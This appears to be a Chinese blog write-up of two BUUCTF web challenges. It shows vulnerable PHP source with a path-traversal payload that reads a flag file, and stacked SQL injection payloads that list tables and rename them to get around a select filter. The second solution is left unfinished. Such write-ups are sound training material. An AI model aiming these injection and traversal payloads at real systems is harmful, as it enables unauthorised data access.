2019/7/7 Web[0]

主要是buuctf的wp

warmup

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

php in_array($a,$b)会将$a和$b中的每个value进行比较

php中’比较’ 的设定:

var_dump(0 == “a”); // 0 == 0 -> true
var_dump(“1” == “01”); // 1 == 1 -> true
var_dump(“10” == “1e1”); // 10 == 10 -> true


mb_substr()==>substr

mb_strpos() ==>strposition

然后这题和以上的都没什么关系,第一个点是

$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

这个匹配写的漏洞太明显,然后用目录穿越就可以读到fllllllllllag

?file=hint.php?/../../../../ffffllllaaaagggg

随便注

没记错的化,这题是强网杯的一道题,主要考的是堆叠注入

1′;show databases;

1′;show tables from ctftraining; 感觉可能在这里

supersqli,show tables 可以发现当前用的数据库就是这个,我估计flag应该在ctftraining里

1′;use ctftraining;show columns from FLAG_TABLE;

因为禁用了select,现在试试能不能把flag所在的数据库和表明改成目前的数据库名和表名

use information_schema; rename table supersqli.19weasd14514 to supersqli.1919810931114514;

use information_schema; rename table ctftraining.FLAG_TABLE to supersqli.1919810931114514;

然后发现把点号.也给ban了


后来发现flag不在ctftraininig里,在1919那里

11′;show columns from `1919810931114514`;

11’rename table words to words1,`1919810931114514` to words;

然后在搜索,发现gg

应该要用alter来加一个字段名的,环境崩了,过一会再来康康

发表评论

电子邮件地址不会被公开。 必填项已用*标注